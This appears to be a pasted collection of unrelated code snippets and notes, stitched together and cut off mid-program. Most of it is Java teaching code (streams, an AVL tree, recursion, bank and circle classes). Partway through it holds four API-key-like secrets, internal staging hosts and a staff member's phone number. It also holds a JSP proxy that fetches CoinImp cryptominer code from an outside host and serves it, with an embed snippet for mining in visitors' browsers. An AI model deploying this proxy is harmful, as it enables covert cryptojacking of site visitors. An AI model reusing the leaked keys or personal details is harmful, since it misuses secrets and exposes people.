import java.util.*;

import java.util.stream.*;

public class ReductionDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(10);

        al.add(20);

        al.add(30);

        al.add(40);

        al.add(50);

        System.out.println("Contents of the collection: " + al);

        System.out.println();

        Optional<Integer> obj1 = al.stream().reduce((x, y) -> (x + y));

        if(obj1.isPresent())

            System.out.println("Total is: " + obj1.get());

        System.out.println();

        long product = al.stream().reduce(1, (x, y) -> (x * y));

        System.out.println("Product is: " + product);

    }

}

import java.util.*;

import java.util.stream.*;

public class StreamDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(7);

        al.add(18);

        al.add(10);

        al.add(24);

        al.add(17);

        al.add(5);

        System.out.println("Actual List: " + al);

        Stream<Integer> stm = al.stream();  // get a stream; factory method

        Optional<Integer> least = stm.min(Integer::compare);   // Integer class implements Comparator [compare(obj1, obj2) static method]

        if(least.isPresent())

            System.out.println("Minimum integer: " + least.get());

        // min is a terminal operation, get the stream again

        /* 

        Optional<T> is a generic class packaged in java.util package.

        An Optional class instance can either contains a value of type T or is empty.

        Use method isPresent() to check if a value is present. Obtain the value by calling get() 

        */

        stm = al.stream();

        System.out.println("Available values: " + stm.count());

        stm = al.stream();

        Optional<Integer> higher = stm.max(Integer::compare);

        if(higher.isPresent())

            System.out.println("Maximum integer: " + higher.get());

        // max is a terminal operation, get stream again

        Stream<Integer> sortedStm = al.stream().sorted();    // sorted() is intermediate operation

        // here, we obtain a sorted stream

        System.out.print("Sorted stream: ");

        sortedStm.forEach(n -> System.out.print(n + " "));   // lambda expression

        System.out.println();

        /* 

        Consumer<T> is a generic functional interface declared in java.util.function

        Its abstract method is: void accept(T obj)

        The lambda expression in the call to forEach() provides the implementation of accept() method.

        */

        Stream<Integer> odds = al.stream().sorted().filter(n -> (n % 2) == 1);

        System.out.print("Odd values only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        /* 

        Predicate<T> is a generic functional interface defined in java.util.function

        and its abstract method is test(): boolean test(T obj)

        Returns true if object for test() satisfies the predicate and false otherwise.

        The lambda expression passed to the filter() implements this method.

        */

        odds = al.stream().sorted().filter(n -> (n % 2) == 1).filter(n -> n > 5);   // possible to chain the filters

        System.out.print("Odd values bigger than 5 only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

    }

}

interface Refer{
    String m(String s);
}

class StringOperation{
    public String reverse(String s){
        String r = "";
        for(int i = s.length()-1;i>=0;i--)
            r+=s.charAt(i);
        return r;
    }
}

public class ReferDemo{
    public static String m(Refer r, String s){
        return r.m(s);
    }
    
    public static void main(String[] args){
        String s = "hello";
        System.out.println(m((new StringOperation()::reverse), s));
    }
}

import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}

//PriorityQueue using ArrayList

import java.util.*;

public class PriorityQueueDemo<K extends Comparable<K>, V>{
    static class Entry<K extends Comparable<K>, V>{
        private K key;
        private V value;
        
        public Entry(K key, V value){
            this.key = key;
            this.value = value;
        }
        
        public K getKey(){
            return this.key;
        }
        
        public V getValue(){
            return this.value;
        }
        
        
    }
    
    private ArrayList<Entry<K,V>> list = new ArrayList<>();
    
    public void insert(K key, V value){
        Entry<K,V> entry = new Entry<>(key,value);
        int insertIndex = 0;
        for(int i=0;i<list.size();i++){
            if(list.get(i).getKey().compareTo(key)>0)
                break;
            insertIndex++;
        }
        list.add(insertIndex, entry);
    }
    
    public K getMinKey(){
        return list.get(0).getKey();
    }
    
    public V getMinValue(){
        return list.get(0).getValue();
    }
    
     public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}

//Priority Queue using TreeMap

import java.util.*;
public class PriorityQueueDemo<K, V>{
    private TreeMap<K, V> tm;
    
    public PriorityQueueDemo(){
        tm = new TreeMap();
    }
    
    public void insert(K key, V value){
        tm.put(key, value);
    }
    
    
    public K getMinKey(){
        return tm.firstEntry().getKey();
    }
    
    public V getMinValue(){
        return tm.firstEntry().getValue();
    }
    
    public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}

import android.webkit.CookieManager;
import android.webkit.WebView;

public class MainActivity extends AppCompatActivity {
  private WebView webView;

  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    webView = findViewById(R.id.webview);

    // Let the web view accept third-party cookies.
    CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
    // Let the web view use JavaScript.
    webView.getSettings().setJavaScriptEnabled(true);
    // Let the web view access local storage.
    webView.getSettings().setDomStorageEnabled(true);
    // Let HTML videos play automatically.
    webView.getSettings().setMediaPlaybackRequiresUserGesture(false);
  }
}

CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);

import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}

http://chatbotscriptmanage.dev.com/login

10.240.144.197 staging.chatbot-public.cyberbot.vn
10.240.144.197 staging.chatbot-private.cyberbot.vn

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

sk-proj-FrAcuJSTxPSFr9DNpCc6T3BlbkFJxsg70pKZaJdlDMscfBhL


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

sk-proj-cwkoOcKTTpuwjPgVbU9AT3BlbkFJ4o2iDTsWWLckZhIkX1Zt

https://go.microsoft.com/fwlink/?linkid=2213926

curl https://YOUR_RESOURCE_NAME.openai.azure.com/openai/deployments/YOUR_DEPLOYMENT_NAME/extensions/chat/completions?api-version=2023-12-01-preview \
  -H "Content-Type: application/json" \
  -H "api-key: YOUR_API_KEY" \
  -d '{"enhancements":{"ocr":{"enabled":true},"grounding":{"enabled":true}},"dataSources":[{"type":"AzureComputerVision","parameters":{"endpoint":" <Computer Vision Resource Endpoint> ","key":"<Computer Vision Resource Key>"}}],"messages":[{"role":"system","content":"You are a helpful assistant."},{"role":"user","content":[{"type":"text","text":"Describe this picture:"},{"type":"image_url","image_url":"https://learn.microsoft.com/azure/ai-services/computer-vision/media/quickstarts/presentation.png"}]}]}'

Anh gửi thông tin về Chatbot đối tác SMAX đang tích hợp trên fanpage
Viettel Money, cụ thể:

1. Thông tin tích hợp



2. Luồng tích hợp



3. Kịch bản test

- Truy cập đường dẫn:
https://miro.com/app/board/uXjVKLcwGxU=/?fbclid=IwZXh0bgNhZW0CMTAAAR0KSvvl8T
KF5FlWmIZhGbTqrmvBd_Ff0fUzzcOK7JIiP-GqqvaV5x7qv08_aem_ARrV9Ba0Zsj8FWU5bPDRQK
w8_8hKtH0x_NTigEusc8UGGg4kPDGLI6tmY9wfQeD6-0Te36JRXDm4AGuxiT3hEJTS

- Hướng dẫn test:

1. Người dùng bình luận tại bài viết theo đường dẫn
https://www.facebook.com/ViettelMoney/posts/pfbid0PjCVf1DL1A74j24ECkeMrekYJF
M3bXGqirFkqDV54esJy4Vvtbm4HsCNXw7NuXZYl

2. Chatbot gửi tin nhắn từ bình luận, người dùng tương tác theo luồng
tương ứng trên messenger

(ví dụ 1 luồng khai thác số điện thoại tại ảnh đính kèm)



Trân trọng!

------------------------

Dương Đức Anh

P. QLCL & CSKH – TCT VDS

SĐT: 0964052947

<p>TopHomeworkHelper.com offers comprehensive programming help for students, covering various programming languages like Java, Python, C++, and more. Services include assignment help, coding assistance, and debugging support. With 24/7 availability and experienced tutors, the platform ensures timely and reliable solutions for all programming-related academic needs.<br /><br />Source:&nbsp;<a href="https://tophomeworkhelper.com/programming-help.html" target="_blank" rel="noopener">Programming Homework Help</a></p>
<p>&nbsp;</p>

<%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
/*
 
This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was 
originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp 
is PHP only.  You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an 
example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID 
which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
 
<script src="/coinproxy.jsp?f=1Ri3.js"></script>
<script>
    var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
        throttle: 0.7
    });     
    _client.start();
            
</script>   
 
// Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
 
If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
 
MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
 
Thanks
*/
 
try {
        response.setHeader("Access-Control-Allow-Origin", "*");
        response.setCharacterEncoding("UTF-8");
        String filename=request.getParameter("f");
        if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
        } else { response.setContentType("application/octet-stream; charset=utf-8");
        }
        String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
        String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
        File f=new File("/tmp/"+filename);
 
        if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
                // fetch code from server 
 
                URL url = new URL(reqUrl);
                HttpURLConnection uc = (HttpURLConnection) url.openConnection();
                InputStream in = uc.getInputStream();
 
                // save in /tmp
                FileOutputStream fo = new FileOutputStream(f);
 
                byte[] buffer = new byte[4096];
 
                int i=0;
                int count;
 
                while ((count = in.read(buffer)) != -1) {
                        i+=count;
                  fo.write(buffer,0,count);
                }
                fo.flush();
                fo.close();
                in.close();
        }
 
        // now open file and stream as response
 
        FileInputStream fi=new FileInputStream(f);
        OutputStream output = response.getOutputStream();
 
        response.setContentLength((int)(f.length()));
 
        // read cached copy
        System.out.println("File length: "+String.valueOf(f.length()));
 
        byte[] buffer = new byte[4096];
 
        int i=0;
        int count;
 
        while((count = fi.read(buffer)) != -1) {
                i+=count;
                output.write(buffer,0,count);
        }
        fi.close();
 
} catch (Exception e) {
e.printStackTrace();
}
%>

Nomes de classes devem começar com letra maiúscula e usar a convenção PascalCase (também conhecida como Upper CamelCase).
Exemplo: MinhaClasse

Nomes de métodos devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: meuMetodo()

Nomes de constantes devem ser totalmente em letras maiúsculas, separadas por underline.
Exemplo: MINHA_CONSTANTE

Nomes de variáveis devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: minhaVariavel

Todas as linhas de código devem ter no máximo 80 caracteres de largura para facilitar a leitura.

Recomenda-se usar espaços em branco para separar operadores, palavras-chave e elementos de controle de fluxo.
Exemplo: if (condicao) {

 Node reverseList(Node head)
    {
        if(head == null || head.next == null)
            return head;
        Node p = reverseList(head.next);
        head.next.next = head;
        head.next = null;
        return p;
    }

import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String findBinary(int num, String result) {
        if(num == 0)
            return result;
        
        result = num % 2 + result;
        return findBinary(num / 2, result);
    } 
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(findBinary(12, ""));

	}
}

import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static boolean isPalindrome(String str) {
        if(str.length() == 0 || str.length() == 1)
            return true;
        
        if(str.charAt(0) == str.charAt(str.length() - 1))
            return isPalindrome(str.substring(1, str.length() - 1));
        
        return false;
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(isPalindrome("abcba"));

	}
}

import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String reverse(String input) {
        if(input.equals(""))
            return "";
        return reverse(input.substring(1)) + input.charAt(0);
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    
	   System.out.println(reverse("hello"));
	}
}

import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static int recursiveSum(int num) {
        if(num <= 1)
            return num;
        
        return num + recursiveSum(num - 1);
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(recursiveSum(10));

	}
}


// -----------------------------------------------------------

$A.get("e.force:navigateToURL").setParams(
    {"url": "/apex/pageName?id=00141000004jkU0AAI"}).fire();

$A.get("e.force:navigateToURL").setParams({"url": "/apex/pageName"}).fire();

import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static void mergeSort(int[] data, int start, int end) {
        if(start < end) {
            int mid = (start + end) / 2;
            mergeSort(data, start, mid);
            mergeSort(data, mid + 1, end);
            merge(data, start, mid, end);
        }
    }
    public static void merge(int[] data, int start, int mid, int end) {
        int[] temp = new int[end - start + 1];
        System.out.println(start +" "+ mid +" "+end);
        
        // i --> starting of left subarray, j--> starting of right subarray
        // mid --> Ending of left subarray, end--> Ending of right subarray
        // k--> pointer for temp array
        int i = start, j = mid + 1, k = 0;
        
        // Ist merge i.e both left and right subarrays have values 
        while(i <= mid && j <= end) {
            if(data[i] <= data[j]) 
                temp[k++] = data[i++];
            else    
                temp[k++] = data[j++];
        }
        
        // 2nd merge i.e run only when left subrray is remaining to be merged
        // and right subrray is done with merging
        while(i <= mid) {
            temp[k++] = data[i++];
        }
        
        // 2nd merge i.e run only when right subrray is remaining to be merged
        // and left subrray is done with merging
        while(j <= end) {
            temp[k++] = data[j++];
        }
        
        // putting back sorted values from temp into the original array
        for(i = start; i <= end; i++) {
            data[i] = temp[i - start];
        }
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    int data[] = {38, 27, 43, 3, 9, 82, 10};
		mergeSort(data, 0 , data.length - 1);
		for(int num : data) {
		    System.out.print(num +" ");
		}

	}
}

Employee.java

public class Employee {
    private String cnic;
    private String name;
    private double salary;

    public Employee() {
        System.out.println("No-argument constructor called");
    }

    public Employee(String cnic, String name) {
        setCnic(cnic);
        setName(name);
    }

    public Employee(String cnic, String name, double salary) {
        this(cnic,name);
        setSalary(salary);
    }

    public String getCnic() {
        return cnic;
    }

    public void setCnic(String cnic) {
        this.cnic = cnic;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public double getSalary() {
        return salary;
    }

    public void setSalary(double salary) {
        this.salary = salary;
    }

    public void getEmployee(){
        System.out.println("CNIC: " + cnic);
        System.out.println("Name: " + name);
        System.out.println("Salary: " + salary);
    }
}

///////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////

EmployeeTest.java

public class EmployeeTest {
    public static void main(String[] args) {
        System.out.println();
        Employee employee1 = new Employee();
        Employee employee2 = new Employee("34104-1234567-9","Muhammad Abdul Rehman");
        Employee employee3 = new Employee("34104-9876543-2","Ahmad",100000);


        employee1.getEmployee();
        System.out.println("----------------");
        employee2.getEmployee();
        System.out.println("-----------------");
        employee3.getEmployee();
        System.out.println("-----------------");
    }

}

public boolean isPowerOfFour(int n) {
        // If a number is power of 2, It will have 1 bit at even position and if its a power of 4, 
        // which is not a power of 2 e.g. 128 it will have 1 bit at odd position.

        return (n >0) && ((n &(n-1)) ==0) && ((n & 0xaaaaaaaa) ==0);
        
    }

public String addBinary(String a, String b) {
       BigInteger num1 = new BigInteger(a,2);
       BigInteger num2 = new BigInteger(b,2);
       BigInteger zero = new BigInteger("0",2);
       BigInteger carry, answer;
       while(!num2.equals(zero)) {
        answer = num1.xor(num2);
        carry = num1.and(num2).shiftLeft(1);
        num1 = answer;
        num2 = carry;
       }
        return num1.toString(2);
    }

public char findTheDifference(String s, String t) {
        char ch =0;
        for(int i=0; i<s.length(); i++) {
            ch ^= s.charAt(i);
        }
        for(int i=0; i<t.length(); i++) {
            ch ^= t.charAt(i);
        }
        return ch;
    }

 if (num == 0) {
            return 1;
        }

        int bitCount = (int) Math.floor((int)(Math.log(num) / Math.log(2))) + 1;
        int allBitsSet = (1 << bitCount) - 1;
        return num ^ allBitsSet;

 // find number of 1 bits
        int n = 10; //101
        int count =0;
        // will repeatedly do and of number with(n-1), as this flips the LSB 1 bit
        while(n !=0) {
            count++;
            n &= (n-1);

        }
        System.out.println("count is " + count);

// creating a monotonic stack
        int[] arr = new int[]{1,2,6,3,5,9, 11,7,};
        Deque<Integer> stack = new LinkedList<>();
        for(int i=0; i<arr.length; i++) {
            while(!stack.isEmpty() && stack.peek()< arr[i]) {
                stack.pop();
            }
            stack.push(arr[i]);
        }
        System.out.println("stack is " + stack);

// converting binary to decimal
        int[] n = new int[]{1, 0, 0, 0, 0};
        int num = 0;
        for (int i = 0; i < n.length; i++)
        {
            num = (num<<1) | n[i];
        }
        System.out.println(num);
    

Circle.java

public class Circle{
	private double radius;
	
	public Circle(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double getRadius(){
		return radius;
	}
	
	public void setRadius(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double calculateArea(){
		return Math.PI * radius * radius;
	}
	
	public double calculatePerimeter(){
		return 2 * Math.PI * radius;
	}	
}

/////////////////////////////////////////////
////////////////////////////////////////////

TestCircle.java

public class TestCircle{
	
	public static void main(String args[]){
		
		Circle circle = new Circle(5);
		
		System.out.println("Radius: " + circle.getRadius());
		System.out.printf("Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(8);
		
		System.out.println("Updated Radius: " + circle.getRadius());
		System.out.printf("Updated Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Updated Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(-3);
		
		
	}
	
}

/*
 * This Java source file was generated by the Gradle 'init' task.
 */
package gradleproject2;

import java.io.IOException;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.PDPageContentStream;
import org.apache.pdfbox.pdmodel.font.PDType1Font;
import org.apache.pdfbox.pdmodel.font.Standard14Fonts;

public class App {

    public String getGreeting() {
        return "Hello World!";
    }

    public static void main(String[] args) throws IOException {
        // System.out.println(new App().getGreeting());

        //Creating PDF document object 
        PDDocument document = new PDDocument();

        for (int i = 0; i < 10; i++) {
            //Creating a blank page 
            PDPage blankPage = new PDPage();

            PDPageContentStream contentStream = new PDPageContentStream(document, blankPage);

            contentStream.setFont(new PDType1Font(Standard14Fonts.FontName.HELVETICA_BOLD), 12);

            // Add text to the page
            contentStream.beginText();

            contentStream.newLineAtOffset(100, 700);

            contentStream.showText("Hello World, how are you !");

            contentStream.endText();

            //Adding the blank page to the document
            document.addPage(blankPage);
            contentStream.close();
        }

        //Saving the document
        document.save("C:/Users/chachou/Desktop/test java/javageneratepdf.pdf");
        System.out.println("PDF created");
        
      
        //Closing the document
        document.close();
    }
}

BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	private String accountType;
	
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void setAccountType(String type){
		this.accountType = type;
	}
	
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
	public void subscribeSmsAlert(){
		if(accountType.equals("STANDARD")){
			balance -= 2000;
		}
	}
	
	public void subscribeDebitCard(){
		if(accountType.equals("STANDARD")){
			balance -= 5000;
		}
	}
	
	
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.Java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		System.out.println("Enter the account type: ");
		String accountType = input.nextLine();
		account.setAccountType(accountType);
		
		System.out.println("Do want to subscribe SMS alerts(Y or N): ");
		String sms = input.nextLine();
		if(sms.equals("Y") || sms.equals("y")){
			account.subscribeSmsAlert();
		}
		System.out.println("Do you want to subscribe Debit Card(Y or N): ");
		String debit = input.nextLine();
		
		if(debit.equals("Y") || debit.equals("y")){
			account.subscribeDebitCard();
		}
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
